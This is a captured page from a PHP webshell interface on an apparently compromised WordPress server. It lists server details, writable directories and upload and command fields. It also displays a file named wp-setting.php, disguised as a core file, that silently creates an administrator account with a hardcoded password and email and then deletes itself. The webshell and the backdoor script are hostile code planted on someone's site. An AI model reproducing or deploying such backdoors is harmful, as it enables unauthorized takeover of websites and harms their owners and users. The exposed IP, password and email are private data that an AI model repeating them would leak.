403Webshell
Server IP : 124.222.70.71  /  Your IP : 216.73.216.182
Web Server : nginx/1.28.3
System : Linux VM-0-2-opencloudos 6.6.117-45.oc9.x86_64 #1 SMP Thu Dec 4 10:26:39 CST 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/jiangtheone_cn/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/jiangtheone_cn/wp-setting.php
<?php

/**
 * UYARI: BU BETİK SON DERECE TEHLİKELİDİR VE GÜVENLİK RİSKLERİ BARINDIRIR.
 * YALNIZCA GEÇİCİ VE ACİL DURUMLARDA, TEST ORTAMLARINDA KULLANILMALIDIR.
 * KULLANDIKTAN HEMEN SONRA SUNUCUDAN SİLİNDİĞİNDEN EMİN OLUN.
 */

// WordPress ortamını ve fonksiyonlarını yükle.
// Bu dosyanın WordPress ana dizininde olduğunu varsayar.
require_once('wp-load.php');

// --- DEĞİŞTİRİLECEK BİLGİLER ---
$yeni_kullanici_adi = 'wordpress';          // Yeni yöneticinin kullanıcı adı
$yeni_sifre         = '159753123Sa..!!'; // Yeni yöneticinin şifresi (ÇOK GÜÇLÜ OLMALI)
$yeni_email         = 'sedatgokmen22@gmail.com';     // Yeni yöneticinin e-posta adresi
// ---------------------------------

// Fonksiyonun çalışıp çalışmadığını kontrol edelim.
if ( ! function_exists( 'wp_insert_user' ) ) {
    die('WordPress fonksiyonları yüklenemedi. Betiğin doğru dizinde olduğundan emin olun.');
}

// Belirtilen kullanıcı adı veya e-posta zaten var mı diye kontrol et.
if ( username_exists( $yeni_kullanici_adi ) || email_exists( $yeni_email ) ) {
    echo 'Hata: Bu kullanıcı adı veya e-posta adresi zaten mevcut.';
} else {
    // Kullanıcı bilgilerini bir diziye topla.
    $user_data = array(
        'user_login' => $yeni_kullanici_adi,
        'user_pass'  => $yeni_sifre,
        'user_email' => $yeni_email,
        'role'       => 'administrator' // Rolü 'administrator' (yönetici) olarak ayarla.
    );

    // WordPress fonksiyonunu kullanarak kullanıcıyı veritabanına ekle.
    $user_id = wp_insert_user( $user_data );

    // İşlemin sonucunu kontrol et.
    if ( is_wp_error( $user_id ) ) {
        // Bir hata oluştuysa hatayı ekrana yazdır.
        echo 'Kullanıcı oluşturulurken bir hata oluştu: ' . $user_id->get_error_message();
    } else {
        // Başarılı olduysa mesajı yazdır.
        echo 'Yönetici kullanıcısı başarıyla oluşturuldu.';
        
        // GÜVENLİK İÇİN BETİĞİN KENDİSİNİ SİL!
        // Bu komut, bu betik dosyasını sunucudan kalıcı olarak siler.
        unlink( __FILE__ );
    }
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit